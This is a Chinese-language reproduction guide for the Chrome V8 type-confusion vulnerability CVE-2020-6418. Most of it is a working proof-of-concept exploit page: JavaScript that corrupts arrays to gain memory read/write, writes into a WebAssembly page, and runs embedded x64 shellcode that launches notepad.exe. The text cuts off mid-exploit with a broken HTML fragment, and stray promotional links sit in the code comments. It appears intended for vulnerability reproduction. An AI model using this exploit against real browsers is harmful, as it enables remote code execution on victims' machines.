V8是由Google开发的开源高性能javascript引擎（采用C++编写），而80.0.3987.122之前浏览器中的V8实现存在类型混淆漏洞，攻击者可以通过精心制作的HTML页面对受害者进行内存攻击，引发远程命令执行。有报道称，目前已出现利用CVE-2020-6418进行攻击的事件。
影响版本:Google:Chrome: <=89.0.4389.114
利用条件:开启免沙箱模式(默认情况下开沙箱运行)
参考连接:
复现过程:
先检验一下漏洞是否存在:
cmd执行命令:
"C:\Program
Files\Google\Chrome\Application\chrome.exe" -sand-box
(以不开启沙箱的模式运行chrome浏览器)
查看chrome版本:
(最新版本的仍然存在该漏洞)
打开测试用的POC:
成功执行命令，打开了记事本，漏洞存在
POC:
Test.html:
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = 【0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00】;
var wasmCode = new Uint8Array(【0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11】);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}//代码效果参考：http://www.ezhiqi.com/bx/art_1861.html
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr【0】 = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr【0】 = 0x1122;
return 【arr, local_arr, buff】;
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
【corrput_arr, rwarr, corrupt_buff】 = foo(true);
corrput_arr【12】 = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr【4】 = i2f(fLow(rwarr【4】), hi);
rwarr【5】 = i2f(low, fHi(rwarr【5】));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr【9】) - 1);
}//代码效果参考：http://www.ezhiqi.com/zx/art_3696.html
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10<span style="color:
